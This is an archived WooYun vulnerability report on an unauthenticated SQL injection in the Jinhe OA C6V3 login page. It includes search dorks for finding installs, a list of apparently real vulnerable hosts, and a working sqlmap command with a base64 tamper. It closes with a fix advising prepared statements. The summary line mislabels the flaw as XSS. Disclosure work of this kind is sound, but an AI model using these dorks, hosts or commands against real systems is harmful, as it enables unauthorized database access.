当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084022

漏洞标题:金和OA SQL注入之1

相关厂商:金和软件

漏洞作者: 疯狂的dabing

提交时间:2014-12-01 18:53

修复时间:2015-03-01 18:54

公开时间:2015-03-01 18:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

我司最近在内网部署了一套OA,正式上线前领导让先测下安全性,被人爆菊了就囧了。。黑盒一番,来个无需登录的XSS。
所测版本为C6V3,官网demo也存在该问题,貌似V2不存在。

详细说明:

应要求补充5个实例
OA这种东西大概升级的比较少,因此对于新漏洞批量验证可能比较麻烦,所以请审核和CERT的验证工作人员耐心测试。
关键字:
百度:inurl:Jhsoft.Web.login
bing:PassWordSlide.aspx
搜出来的都是金和OA,但是该漏洞只影响V3新版,V2及以下版本不存在该问题,因此需要手动判断是否存在。如果遇到302跳转,请选择不跟随。
给出V3新版特征:登录页面为hPassWordSlide.aspx的为V3新版,存在该漏洞,登录页面为PassWordNew.aspx或者PassWord.aspx的为低版本,不存在该问题。
http://www.ccteboa.com/c6/Jhsoft.Web.login/AjaxForLogin.aspx
http://218.17.227.196/C6/Jhsoft.Web.login/AjaxForLogin.aspx
http://oa.originseed.com.cn/C6/Jhsoft.Web.login/AjaxForLogin.aspx//不跟随302跳转
http://www.xiyuefa.com:802/C6/Jhsoft.Web.login/AjaxForLogin.aspx
http://oa.inofa.com/C6/Jhsoft.Web.login/AjaxForLogin.aspx
http://oa.kanq.com.cn:808/C6/Jhsoft.Web.login/AjaxForLogin.aspx
http://oa.guoxiang.com.cn/C6/Jhsoft.Web.login/AjaxForLogin.aspx
注入点就是登录框。
这个地方在前端过滤了单引号等特殊符号,并对数据进行base64编码后传输。但服务器并未校验数据合法性,导致可以编码后直接发送数据到服务器造成SQL注入。有注入的参数为loginCode。
这里比较尴尬,不能报错,因为所有的错误都会提示用户名和密码错误。
因此如果没有正确的帐号和密码,这里只能延时盲注,如果有账户密码,就可以布尔型盲注。
注意这里使用了base64编码,所以要用sqlmap自带的一个插件来辅助注入。
./sqlmap.py -u http://demos.jh0101.com/c6v32/Jhsoft.Web.login/AjaxForLogin.aspx --data="type=login&loginCode=admin=&pwd=123" -p loginCode --tamper base64encode.py

zhuru 1-1.png


可以看到current user为sa,当前数据库为C6v3.2demo。
由于sqlmap的延时注入太蛋疼,我就想写个脚本自己跑跑,这时候奇迹发生了!
=================================================
写了一个中转脚本,如下:

注入1-2.png


当提交一个存在的用户名时如admin,就会爆出错误页面。

zhuru1-3.png


当提交一个不存在的用户名时,就会提示用户名和密码错误!

zhuru 1-4.png


于是通过中转脚本,就sqlmap就可以识别为布尔型注入了!

zhuru1-5.png


不过由于os和脚本都是我本地环境,所以识别为本机的linux和php,但不影响数据的获取。

漏洞证明:

./sqlmap.py -u http://demos.jh0101.com/c6v32/Jhsoft.Web.login/AjaxForLogin.aspx --data="type=login&loginCode=admin=&pwd=123" -p loginCode --tamper base64encode.py

zhuru 1-1.png

修复方案:

不要依赖base64编码,也不要依赖waf,不要拼接sql语句!
使用pdo预编译或者sql template。

版权声明:转载请注明来源 疯狂的dabing@乌云


漏洞回应

厂商回应:

危害等级:暂时无回应

漏洞Rank:0

确认时间:2014-12-01 18:53

厂商回复:

最新状态:

暂无